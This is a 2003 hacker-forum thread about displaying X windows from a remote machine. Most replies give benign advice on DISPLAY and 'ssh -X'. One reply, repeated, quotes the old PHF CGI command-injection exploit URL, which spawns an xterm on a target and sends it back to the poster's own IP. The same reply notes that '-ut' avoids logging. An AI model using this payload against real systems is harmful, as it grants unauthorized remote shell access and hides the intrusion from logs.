Kills me to ask a question like this, but I've set up a network and want to open an x window on a remote machine (similar to the X11 security hole where you can connect to someone else's machine if they dont use xhost to block access). Problem is, I can't figure out what the damn command is! I've gone through the man pages on X, xdm, xconsole, etc, and can't find anything. Any help would be appreciated.
X question
Started by
screamer
, Jul 07 2003 07:39 PM
4 replies to this topic
#1
Posted 07 July 2003 - 07:39 PM
#2
Posted 07 July 2003 - 07:49 PM
ssh into your box, and then send an Xterm to yourself.
/usr/X11R6/bin/xterm -ut -display your IP:0.0
as in the old PHF exploit /cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20your_ip:0.0
the -ut means that activity will not be logged, and you will have an xterm with a window of 0 and screen ID of 0
/usr/X11R6/bin/xterm -ut -display your IP:0.0
as in the old PHF exploit /cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20your_ip:0.0
the -ut means that activity will not be logged, and you will have an xterm with a window of 0 and screen ID of 0
#3
Posted 08 July 2003 - 12:44 PM
hmm, thought there was another way...my bad! thanks bland.
#4
Posted 08 July 2003 - 05:05 PM
Well, if you want any windows to come up remotely just do export DISPLAY=your.host.com:0.0 and now any x based app will come up on your remote machien.
#5
Posted 08 July 2003 - 07:19 PM
You can also tunnel it through ssh if you're so inclined
I think it's 'ssh -X <host>'....would have to check though.
I think it's 'ssh -X <host>'....would have to check though.
BinRev is hosted by the great people at Lunarpages!











